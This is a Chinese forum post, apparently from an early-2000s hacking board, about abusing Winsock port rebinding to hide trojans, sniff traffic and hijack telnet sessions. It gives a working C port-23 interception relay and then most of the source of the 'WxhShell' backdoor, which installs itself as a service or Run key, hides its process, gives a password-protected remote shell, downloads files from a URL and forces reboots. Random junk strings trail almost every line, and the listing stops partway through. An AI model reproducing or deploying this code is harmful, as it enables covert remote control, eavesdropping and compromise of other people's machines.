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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 0|g|k7c{rF  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 413,O~^  
"'us.t.  
  saddr.sin_family = AF_INET; CV%AqJN  
1Zc1CUMG  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); t#tAvwFM8  
iR;Sd >)  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 6/`$Y!.ub  
H79XP.TtE  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 >U\,(VB  
:_;9&[H9ha  
  这意味着什么?意味着可以进行如下的攻击: +cQGX5 K  
iHoQNog-!  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 hsIC5@s3  
X~ n=U4s}O  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) $]IX11.m  
4.|-?qG  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 j4j %r(  
w5 nzS)B:u  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  MP/6AAt7=|  
T#'+w@Q9{9  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 \ IJ\  
u_[^gS7  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 /QDlm>FM4  
W99MA5P  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 G8%Q$  
H)&6I33`  
  #include %a%x`S3  
  #include '\qd{mM\r  
  #include Vb>!;C  
  #include    c,a+u  
  DWORD WINAPI ClientThread(LPVOID lpParam);   l:v:f@M&  
  int main() G}1?lO_d`  
  { [ t@  
  WORD wVersionRequested; ~^*IP1.3  
  DWORD ret; OQ&?^S`8',  
  WSADATA wsaData; fC>3{@h}*  
  BOOL val; <k)@PAV  
  SOCKADDR_IN saddr; / /63?s+  
  SOCKADDR_IN scaddr; 1:]iV}OFqR  
  int err; g_?:G$1H  
  SOCKET s; @+LkGrDP  
  SOCKET sc; >[TB8  
  int caddsize; tFLdBv!=:^  
  HANDLE mt; |_Vi8Ly  
  DWORD tid;   zlC|Spaf  
  wVersionRequested = MAKEWORD( 2, 2 ); j0b?dKd  
  err = WSAStartup( wVersionRequested, &wsaData ); SE= 3`rVJ  
  if ( err != 0 ) { j+0=)Q%I=  
  printf("error!WSAStartup failed!\n"); dIiQ^M  
  return -1; pp{Za@j  
  } jQjtO"\JG  
  saddr.sin_family = AF_INET; rb_ cm  
   E- ,/@4k  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 EU?)AxH^  
P?%kV  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); bp G`,[  
  saddr.sin_port = htons(23); b#%s!  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) @i`*i@g  
  { ~IvAnwQ'  
  printf("error!socket failed!\n"); iHy=92/Ww  
  return -1; kfaRN ^  
  } KLpu7D5(|  
  val = TRUE; =fmM=@!$<  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 =C{)i@ +  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) _^cDB1I ?  
  { 49b#$Xq  
  printf("error!setsockopt failed!\n"); &|('z\k  
  return -1; 6u>${}  
  } bQG2tDvu[  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; D 3m4:z  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 .{+<o  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 [gm[mwZ  
2_lgy?OE`  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ,-7w\%*  
  { +Bk d  
  ret=GetLastError(); /mLOh2 T  
  printf("error!bind failed!\n"); P_11N9C  
  return -1; uM"G)$I\  
  } s5 ? 1w   
  listen(s,2); iB#xUSkS  
  while(1) dL%?k@R  
  { R$( FrbC  
  caddsize = sizeof(scaddr); o33 wePx,  
  //接受连接请求 C?6wIdp  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); J#DYZ>}Y  
  if(sc!=INVALID_SOCKET) 6XyhOs%/  
  { }RX[J0Prq~  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); L&3Ak}sh  
  if(mt==NULL) &Rw4ub3  
  { ql, k5.l  
  printf("Thread Creat Failed!\n"); (. ~#bl  
  break; bdh6ii  
  } #rSm;'%,  
  }  QDCu  
  CloseHandle(mt); 0M^7#),  
  } _[ml<HW]  
  closesocket(s); f0rM 4"1  
  WSACleanup(); ^_FB .y%  
  return 0; ^|yw)N]Q/  
  }   ;Z]i$Vi_r  
  DWORD WINAPI ClientThread(LPVOID lpParam) TVVL1wZ  
  { 9\9:)q  
  SOCKET ss = (SOCKET)lpParam; w"Gci~]bXU  
  SOCKET sc; ">='l9  
  unsigned char buf[4096]; MY>mP  
  SOCKADDR_IN saddr; SV%;w>  
  long num;  ;0G+>&C8  
  DWORD val; 9PXG*r|D  
  DWORD ret; Fd@n#DR `  
  //如果是隐藏端口应用的话,可以在此处加一些判断 E,5XX;|  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发    >-EJLa  
  saddr.sin_family = AF_INET; aO :wedfl  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Fj? Q4_  
  saddr.sin_port = htons(23); -xg$qvK  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 9 cU]@j}2  
  { J^tLKTB  
  printf("error!socket failed!\n"); )}QtK+Rq  
  return -1; AD_RU_a9  
  } +"1@ 6,M  
  val = 100; YlfzHeN1  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) @=CN#D12  
  { = GUgb2TAT  
  ret = GetLastError(); }7p`8?  
  return -1; v x qsK  
  } eXo7_#  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) d:08@~#  
  { Zpfsh2`  
  ret = GetLastError(); b1An2 e[  
  return -1; %M"rc4Xd  
  } V$U#'G>m  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) [(Z{5gK  
  { )+;Xfftz  
  printf("error!socket connect failed!\n"); W"j&':xD  
  closesocket(sc); JC| j*x(k/  
  closesocket(ss); (+SfDL$m  
  return -1; :x"Q[079  
  } #{-l(016y  
  while(1) * E$&  
  { 38<!Dt+S(,  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 HRX}r$  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 X>}-UHKV+  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 9FB k|g"U)  
  num = recv(ss,buf,4096,0); CUIFKM  
  if(num>0) +<#0V!DM  
  send(sc,buf,num,0); Zy !^HS$  
  else if(num==0) (jj=CLe  
  break; dk<) \C"  
  num = recv(sc,buf,4096,0); W=zHD 9  
  if(num>0) }<m'Nkz<X  
  send(ss,buf,num,0); #0OW0:Q  
  else if(num==0) XMt)\r.  
  break; 5d ?\>dA  
  } ?K5S{qG'O  
  closesocket(ss); v6uXik  
  closesocket(sc); Jz"Yb  
  return 0 ; .%~m|t+Rt  
  } [PXv8K%]p  
Uwj|To&QR  
Y!!w*G9b  
========================================================== PfF5@W;E;  
!2 YvG%t^6  
下边附上一个代码,,WXhSHELL 3a|I| NP  
l1_hD ,4  
========================================================== {lv@V*_Y0  
jU~q~e7Te  
#include "stdafx.h" l Vb{bO9-O  
[S Jx\Os  
#include <stdio.h> X*'i1)_h  
#include <string.h> 10?+6*d  
#include <windows.h> _]oNbcbt(  
#include <winsock2.h> r.WQ6h/eZ5  
#include <winsvc.h> Fa ]|Y  
#include <urlmon.h> EA# {N<  
^l;N;5L  
#pragma comment (lib, "Ws2_32.lib") iX]tL:,~i  
#pragma comment (lib, "urlmon.lib") sVT:1 kI  
qYba%g9RN(  
#define MAX_USER   100 // 最大客户端连接数 x:wv#Wh:l7  
#define BUF_SOCK   200 // sock buffer B EN U  
#define KEY_BUFF   255 // 输入 buffer Q)mYy  
TR7j`?  
#define REBOOT     0   // 重启 Pk2=*{:W  
#define SHUTDOWN   1   // 关机 Y6+/_$N4|  
(FVHtZi7  
#define DEF_PORT   5000 // 监听端口 H\r- ;,&  
@$G{t^&os  
#define REG_LEN     16   // 注册表键长度 fYxdG|>{u  
#define SVC_LEN     80   // NT服务名长度 TzSEQ S{  
-] @cUx  
// 从dll定义API q8m[ S4Q]g  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ]LbFh5;s  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); zG^|W8um_  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); YY4XCkt  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); k-CW?=  
lE=&hba  
// wxhshell配置信息 dbe\ YE  
struct WSCFG { f;{K+\T  
  int ws_port;         // 监听端口 4:zyZu3fm  
  char ws_passstr[REG_LEN]; // 口令 rq(9w*MW:  
  int ws_autoins;       // 安装标记, 1=yes 0=no bukdyo;l  
  char ws_regname[REG_LEN]; // 注册表键名 s:/Wz39SY3  
  char ws_svcname[REG_LEN]; // 服务名 DH9p1)L'  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 E'g?44vyw  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 . DrGr:UW  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息  Iz_#wO  
int ws_downexe;       // 下载执行标记, 1=yes 0=no &x"hM  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 6<t<hP_3O  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 xI>HY9i )  
<>shx;g^C  
}; Pt=@U:  
/mK."5-cm  
// default Wxhshell configuration .ri?p:a}w  
struct WSCFG wscfg={DEF_PORT, o;[cApiQ,2  
    "xuhuanlingzhe", qu`F,OG  
    1, r]3v.GZy  
    "Wxhshell", MkK6.qV\z  
    "Wxhshell", r-e-2y7  
            "WxhShell Service", K^m`3N"  
    "Wrsky Windows CmdShell Service", ;;>G}pG  
    "Please Input Your Password: ", PP{s&(  
  1, n_9Wrx328  
  "http://www.wrsky.com/wxhshell.exe", 5>\Lk>rI  
  "Wxhshell.exe" !Bu=?gf  
    }; O-uf^ S4  
#&sw%CD  
// 消息定义模块 =Sjf-o1V  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; -/ YY.F-  
char *msg_ws_prompt="\n\r? for help\n\r#>"; M`D`-vv  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 4p6\8eytq.  
char *msg_ws_ext="\n\rExit."; 8+mu'RZ X  
char *msg_ws_end="\n\rQuit."; W.sH  
char *msg_ws_boot="\n\rReboot..."; /Z1>3=G by  
char *msg_ws_poff="\n\rShutdown..."; !QsmT3   
char *msg_ws_down="\n\rSave to "; tq.g4X ;_  
]|8*l]oc  
char *msg_ws_err="\n\rErr!"; Bk;/>gD  
char *msg_ws_ok="\n\rOK!"; |Duf 3u  
cv7.=*Kb;  
char ExeFile[MAX_PATH]; rD!UP1Nb  
int nUser = 0; _m@+d>f_  
HANDLE handles[MAX_USER]; ALi3JU  
int OsIsNt; Iy;bzHXs  
|'QgL0?  
SERVICE_STATUS       serviceStatus; (.~,I+Cz'  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; tSX,*cz  
Z}`A'#!  
// 函数声明 rCsH 0:l8P  
int Install(void); {fxytiH8  
int Uninstall(void); :F.eyA|#@G  
int DownloadFile(char *sURL, SOCKET wsh); LTZ~Id-)P  
int Boot(int flag); j&l2n2z  
void HideProc(void); @$7l  
int GetOsVer(void); _edT+r>+  
int Wxhshell(SOCKET wsl); Q`HG_n@?  
void TalkWithClient(void *cs); 91oAg[@4G  
int CmdShell(SOCKET sock); l<UJ@XID$  
int StartFromService(void); 7J|e L yj  
int StartWxhshell(LPSTR lpCmdLine); -~TgA*_5]  
|>v8yS5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); se S)`@n  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); MT^krv(G  
?'mi6jFFh  
// 数据结构和表定义 }kF*I@:g  
SERVICE_TABLE_ENTRY DispatchTable[] = Y;1J` oT  
{ nV_[40KP_  
{wscfg.ws_svcname, NTServiceMain}, w=x [=O  
{NULL, NULL} 5 8n(fdE  
}; !glGW[r/7  
xG8z4Yu   
// 自我安装 w1,6%?p(O  
int Install(void) ?UBhM,;XK  
{ &d6  
  char svExeFile[MAX_PATH]; +"3K)9H  
  HKEY key; /_ RrNzqy  
  strcpy(svExeFile,ExeFile); t }>"nr0  
en8l:INX  
// 如果是win9x系统,修改注册表设为自启动 AkX8v66:  
if(!OsIsNt) { l.%[s6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3h4'DQ.g  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >mp" =Y  
  RegCloseKey(key); ]cP$aixd  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { G]E-2 _t7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); MB"<^ZX  
  RegCloseKey(key); /rzZU}3[  
  return 0; @YI- @  
    } +<7a$/L?4  
  } lQt* LWd[  
} (R^Ca7F  
else { a3B^RbDP&8  
4^{~MgQWK+  
// 如果是NT以上系统,安装为系统服务 GcHZ&m4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); i3<ZFR  
if (schSCManager!=0) m:C|R-IL  
{ vx4Jk]h+=L  
  SC_HANDLE schService = CreateService GU]_Z!3  
  ( !A#(bC  
  schSCManager, ct@i]}"`  
  wscfg.ws_svcname, ,_U3p ,  
  wscfg.ws_svcdisp, Ir$:e*E>  
  SERVICE_ALL_ACCESS, o(3`-ucD`  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , y R_x:,|g  
  SERVICE_AUTO_START, 95^-ptO{1`  
  SERVICE_ERROR_NORMAL, >-4kO7.V  
  svExeFile, F:cenIaBF  
  NULL, q|xic>.  
  NULL, )kt,E}609  
  NULL, O;SD90  
  NULL, iNEE2BPp  
  NULL *S\/l-D  
  ); :'K%&e?7s  
  if (schService!=0) $#HUxwx4  
  { B$&&'i%  
  CloseServiceHandle(schService); #]e](j>]  
  CloseServiceHandle(schSCManager); ;`}b .S =n  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); $ v~I n  
  strcat(svExeFile,wscfg.ws_svcname); #( o(p  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { r  |JZU  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); RtScv  
  RegCloseKey(key); BV512+M  
  return 0; -:  8[  
    } gs9VCaIa  
  } f}? q  
  CloseServiceHandle(schSCManager); A"no!AN  
} '`/w%OEVC5  
} O>Ao#_*hOb  
<"}WpT  
return 1; > @n?W"  
} ZE"Z_E;r  
XE.Y?{,R$  
// 自我卸载 :Wmio\  
int Uninstall(void) [B"CNnA  
{ WoX,F1o  
  HKEY key; ~JSa]6:_+  
i~;Yrc%AEX  
if(!OsIsNt) { ~4C:2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { bT#re  
  RegDeleteValue(key,wscfg.ws_regname); X8| 0RU@f  
  RegCloseKey(key); D?@e,e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @g==U{k;t  
  RegDeleteValue(key,wscfg.ws_regname); 7 J+cs^2  
  RegCloseKey(key); <s(<ax30  
  return 0; ,]8$QFf  
  } )Qixde>]p  
} E|5lm  
} (Gpk;DD  
else { t9+ME|  
V.12  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); _)F0o C {  
if (schSCManager!=0) 4&/m>%r  
{ EE[JXoke  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); E-XFW]I  
  if (schService!=0) Ialbz\;F2%  
  { )R]gJ_ ,c  
  if(DeleteService(schService)!=0) { _.G p}0a  
  CloseServiceHandle(schService); 1)N{!w`  
  CloseServiceHandle(schSCManager); k{d)'\FM  
  return 0; BuIly&qbm<  
  } r4(Cb_  
  CloseServiceHandle(schService); Fmux#}Z  
  } g xf|L>=  
  CloseServiceHandle(schSCManager); !>gu#Q{\-  
} Oa#m}b  
} 'k9dN \ev  
OX*5 yT{  
return 1; xXm:S{I  
} 2[Q/|D}}|  
/ng +IC3  
// 从指定url下载文件 Q ^z&;%q1  
int DownloadFile(char *sURL, SOCKET wsh) 2*9rhOK*  
{ yHt `kb2  
  HRESULT hr; O]N 8Q H  
char seps[]= "/"; ~Y /55uC  
char *token; 1E|~;wo\  
char *file; rP7~ R  
char myURL[MAX_PATH]; ! fSM6Vo  
char myFILE[MAX_PATH]; Bq)aA)gF  
d:1TSJff%/  
strcpy(myURL,sURL); Nw=mSW^E  
  token=strtok(myURL,seps); 2E d  
  while(token!=NULL) X__>r ?oJ  
  { + ZxG<1&  
    file=token; AB1,G|L  
  token=strtok(NULL,seps); 1} h''p  
  } #}U*gVYe  
^lYa9k  
GetCurrentDirectory(MAX_PATH,myFILE); 1L:sck5k  
strcat(myFILE, "\\"); +Xjevg6DU  
strcat(myFILE, file); gjnTG:}}}+  
  send(wsh,myFILE,strlen(myFILE),0); |.c|\e z/  
send(wsh,"...",3,0); X9xXL%Q  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); BV`,~n:  
  if(hr==S_OK) u"*Wo'3I|  
return 0; XexslzI  
else PK7 kpC  
return 1; %.3] F2_Q  
_]~= Kjp  
} jQLiqi`  
%.+#e  
// 系统电源模块 =fZMute  
int Boot(int flag) >84:1 `  
{ AyUiX2=w1  
  HANDLE hToken; g0 NSy3t  
  TOKEN_PRIVILEGES tkp; [#hoW"'Q9  
( @y te  
  if(OsIsNt) { QY]G+3W  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 3vK,vu q  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); c5e  wG  
    tkp.PrivilegeCount = 1; ;[>g(W+  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 6xsB#v*  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); J&bhR9sF  
if(flag==REBOOT) { rBY{&JhS  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) |KQkmc  
  return 0; j(SBpM  
} uqMe %  
else { 5Sm)+FC :  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) zjVQ\L  
  return 0; !04zWYHo  
} !<P|:Oo*Dl  
  } E6FT*}Q  
  else { mtQlm5l  
if(flag==REBOOT) { %oY=.Ok ]  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Xzp!X({   
  return 0; vuCl(/P`  
} Zg#VZg1 2  
else { h72#AN  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 78[5@U  
  return 0; +~~&FO2  
} m2o)/:  
} j~a"z40  
6YCFSvA#/  
return 1; ;[~:Y[N  
} ^KeJ=VT  
].C4RH  
// win9x进程隐藏模块 jg7 WMH"`  
void HideProc(void) }&{z-/;H  
{ I3wv6xZ2  
w6 x{ <d  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); m)aNuQvy:Z  
  if ( hKernel != NULL ) fEB>3hI  
  { _Ka6! 9  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); D'! v9}  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ue;o:>G  
    FreeLibrary(hKernel); m.K@g1G  
  } ^XIVWf#`H  
;=?f0z<  
return; dmkd.aP4  
} Zoi\r  
l1h;ng6  
// 获取操作系统版本 g[d.lJ=Q-N  
int GetOsVer(void) V?*\ISB`}  
{ .9Y,N&V<H  
  OSVERSIONINFO winfo; M#PutrH  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); |Qe#[Q7  
  GetVersionEx(&winfo); V#Px  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) T .57Okp  
  return 1; 1JIo,7  
  else Z.]=u(=a  
  return 0; WE hDep:  
} |QI FtdU5T  
3bGJ?hpp  
// 客户端句柄模块 mx'!I7b(L/  
int Wxhshell(SOCKET wsl) Qmk}smvH  
{ L`M.Htm8  
  SOCKET wsh; 6_s_2cr  
  struct sockaddr_in client; 0gEtEH+  
  DWORD myID; <e s>FD  
M,ObzgW  
  while(nUser<MAX_USER) covr0N)  
{ W_##8[r(?  
  int nSize=sizeof(client); ;hsem,C h7  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); )TmqE<[  
  if(wsh==INVALID_SOCKET) return 1; !)}3[h0  
Y<vsMf_U  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); YR{%p Zp  
if(handles[nUser]==0) ?y@RE  
  closesocket(wsh); .=nx5y z  
else ![{>$Q?5  
  nUser++; ;B'5B]A3  
  } NX?IM8\t  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Y)-)owx7  
"XU M$:D  
  return 0; ZDI%?.U  
} Pa{)@xT  
J*lKXFq7  
// 关闭 socket l|O)B #  
void CloseIt(SOCKET wsh) I\BcG(hlJ  
{ GomTec9.  
closesocket(wsh); (61_=,jv\h  
nUser--; hSO(s  
ExitThread(0); XYOPX>$T  
} ~_z"So'|F_  
9 NO^ '  
// 客户端请求句柄 PyS~2)=B  
void TalkWithClient(void *cs) D?v)Xqw=  
{ $E_9AaX  
4rmSo^vK  
  SOCKET wsh=(SOCKET)cs; PMdvBOtS`  
  char pwd[SVC_LEN]; Ls<.&3X2  
  char cmd[KEY_BUFF]; ;}tEU'&  
char chr[1]; rT2gX^Mj&  
int i,j; Y SvZ7G(m>  
oPX `/ X#  
  while (nUser < MAX_USER) { $ylQ \Y'  
`+4>NT6cu9  
if(wscfg.ws_passstr) { C^o9::ER  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <*g!R!  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?HP54G<{xz  
  //ZeroMemory(pwd,KEY_BUFF); #SHmAB  
      i=0; h"7:&=e  
  while(i<SVC_LEN) { 6O`s&T,t  
\WDL?(G<  
  // 设置超时 =5UT'3p>  
  fd_set FdRead; 'E4`qq  
  struct timeval TimeOut; -`iXAyr)m  
  FD_ZERO(&FdRead); /D]V3|@E  
  FD_SET(wsh,&FdRead); b.`<T "y  
  TimeOut.tv_sec=8; Wz}8O]#/.  
  TimeOut.tv_usec=0; |M*jo<C  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); RG'Ft]l92N  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); WcCJ;z:S?k  
o]&w"3vOP0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $=x1_  
  pwd=chr[0]; 14[+PoF^A  
  if(chr[0]==0xd || chr[0]==0xa) { -/#VD&MJO=  
  pwd=0; hmA$gR_  
  break; gaK m`#  
  } Kk}|[\fW  
  i++; *h<= (Y%   
    } *^BW[C/CTR  
s`j QX\{  
  // 如果是非法用户,关闭 socket hi{#HXa  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); |WopsV %  
} di@4'$5#  
CQf<En|1  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); [79 eq=  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @}#"o  
|ZEZ@y^  
while(1) { uHBEpqC%  
E<[_L!2  
  ZeroMemory(cmd,KEY_BUFF); 1'skCR|!<  
*%G$[=  
      // 自动支持客户端 telnet标准   [0_JS2KE  
  j=0; O/X;(qYd  
  while(j<KEY_BUFF) { C~do*rnM^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); j@kL`Q\&I  
  cmd[j]=chr[0]; }Pm>mQZ},  
  if(chr[0]==0xa || chr[0]==0xd) { T ;Ga G  
  cmd[j]=0; dXkgWLI~  
  break; 5yvaY "B  
  } /jR]sC)xs  
  j++; a,o>E4#c  
    } {U$qxC]M  
Fq{Z-yVp  
  // 下载文件 u N%RB$G  
  if(strstr(cmd,"http://")) { '~dE0ohWb  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); K3eYeXV  
  if(DownloadFile(cmd,wsh)) w#?@ulr]d  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8q)wT0A~  
  else T Y|5O! <  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9n$0OH /q  
  } '64&'.{#>r  
  else { _3q%  
h[5<S&  
    switch(cmd[0]) { KY)r kfo B  
  T5mdC  
  // 帮助 VZOf|o  
  case '?': { R3MbTg  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 8>: kv:MId  
    break; 89I[Dg;"u  
  } _$<Q$P6y  
  // 安装 M`W%nvEDE  
  case 'i': { ^*;{Uj+O~Y  
    if(Install()) G;:D6\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^y@ RfM=A  
    else ~<M/<%o2*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sGNVZx  
    break; dg%Orvuz  
    } oB9t&yM  
  // 卸载 d^"dL" Q6m  
  case 'r': { #!Iez vWf  
    if(Uninstall()) ]J^ 9iDTTA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fV-vy]x..  
    else % -~W|Y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hcQvL>  
    break; Qm| Q0u   
    } 5XO eYO{  
  // 显示 wxhshell 所在路径 u$%>/cv  
  case 'p': { \V@Hf"=j  
    char svExeFile[MAX_PATH]; S~"1q 0  
    strcpy(svExeFile,"\n\r"); ILt95l  
      strcat(svExeFile,ExeFile); &9CKI/K:  
        send(wsh,svExeFile,strlen(svExeFile),0); 1a#oJU  
    break; SrV+Ox  
    } gf!hO$sQ3  
  // 重启 =<-tD<  
  case 'b': { Gt&x<  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); LGN,8v<W(  
    if(Boot(REBOOT)) {~g(WxE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^(ks^<}  
    else { I*e8 5wef  
    closesocket(wsh); - b>"2B?  
    ExitThread(0); Sd;/yC8  
    } z/*nY?  
    break; }i1p &EN^  
    } I At;?4  
  // 关机 9I>+Q&   
